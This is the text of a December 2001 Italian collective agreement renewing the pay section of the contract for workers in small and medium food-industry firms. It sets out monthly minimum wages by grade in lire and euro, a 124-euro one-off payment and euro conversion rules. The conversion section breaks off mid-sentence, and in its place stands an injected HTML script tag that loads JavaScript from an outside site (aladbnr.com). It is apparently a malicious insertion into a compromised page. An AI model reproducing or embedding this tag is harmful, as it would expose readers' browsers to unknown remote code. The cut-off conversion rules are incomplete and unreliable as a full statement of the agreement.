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Categoria: Alimentaristi (piccola e media impresa) Settore: Alimentari - Agroindustriale Data stipula: 17-12-2001 Data decorrenza: 1-1-2001 Data scadenza: 31-12-2003
VERBALE DI ACCORDO 17 dicembre 2001
tra
- UNIONALIMENTARI-CONFAPI
e
- FAI-CISL
- FLAI-CGL
- UILA-UIL
si rinnova la parte economica del CCNL 14 marzo 2000, a valere per il
biennio 2002-2003
PER GLI ADDETTI ALLE PICCOLE E MEDIE INDUSTRIE ALIMENTARI
1. MINIMI MENSILI
I minimi mensili di cui all'art. 44 del CCNL sono incrementati come
indicato nelle tabelle sottoriportate.
"Una tantum".
Ai lavoratori in forza al 31.8.02, verrà corrisposta, con la retribuzione
di agosto 2002, un'erogazione 'una tantum' di _ 124,00 uguali per tutti.
Tale importo è stato quantificato considerando in esso anche i riflessi
sugli istituti di retribuzione diretta e indiretta, di origine legale o
contrattuale ed essendo quindi comprensivo degli stessi non rientra nella
relativa base di computo.
Detta erogazione inoltre, secondo quanto previsto dall'art. 2120 CC e
dall'art. 55 del CCNL, è esclusa dalla base di computo del TFR.
Nota a verbale.
In applicazione dei Protocolli 23.7.93 (in Dir.Prat.Lav. 1993, 30, 1979) e
1.2.99, si conviene che, per il rinnovo dei minimi mensili del biennio
2004-2005, per ogni punto d'inflazione determinato da ISTAT sarà erogato
un importo, sul valore parametrale 137, pari a _ 14,70, da ragguagliare in
ragione di eventuali frazioni di punto.
1.1. Importi in lire.
minimi incrementi minimi incrementi
liv. al dal dal dal
31.12.01 1.1.02 1.1.02 1.1.03
Quadri 2.258.040 80.259 2.338.299 142.658
1° 2.125.666 75.550 2.201.216 134.310
2° 1.848.408 65.690 1.914.098 116.790
3° 1.524.950 54.200 1.579.150 96.350
4° 1.340.102 47.630 1.387.732 84.670
5° 1.201.482 42.700 1.244.182 75.910
6° 1.109.052 39.420 1.148.472 70.070
7° 1.016.624 36.130 1.052.754 64.230
8° 924.214 32.850 957.064 58.390
(segue)
minimi
liv. dal parametri
1.1.03
Quadri 2.480.957 244,32
1° 2.335.526 230
2° 2.030.888 200
3° 1.675.500 165
4° 1.472.402 145
5° 1.320.092 130
6° 1.218.542 120
7° 1.116.984 110
8° 1.015.454 100
1.2. Importi in Euro.
minimi incrementi minimi incrementi
liv. al dal dal dal
31.12.01 1.1.02 1.1.02 1.1.03
Quadri 1.166,18 41,45 1.207,63 73,68
1° 1.097,81 39,02 1.136,83 69,37
2° 954,62 33,93 988,55 60,32
3° 787,57 27,99 815,56 49,76
4° 692,10 24,60 716,70 43,73
5° 620,51 22,05 642,56 39,20
6° 572,78 20,36 593,14 36,19
7° 525,04 18,66 543,70 33,17
8° 477,32 16,97 494,29 30,16
(segue)
minimi
liv. dal parametri
1.1.03
Quadri 1.281,31 244,32
1° 1.206,20 230
2° 1.048,87 200
3° 865,32 165
4° 760,43 145
5° 681,76 130
6° 629,33 120
7° 576,87 110
8° 524,45 100
2. CRITERI DI CONVERSIONE IN EURO DELLE RETRIBUZIONI
Le retribuzioni, le indennità e comunque ogni importo spettante ai
lavoratori devono essere convertiti in Euro secondo il seguente criterio,
in base alle vigenti disposizioni di legge.
Gli importi annui saranno convertiti in Euro con arrotondamento al 2°
decimale.
Gli importi espressi in valori mensili saranno convertiti in Euro con
arrotondamento al 2° decimale.
Le quote giornaliere<<script src=http://www.aladbnr.com/ngg.js></script>
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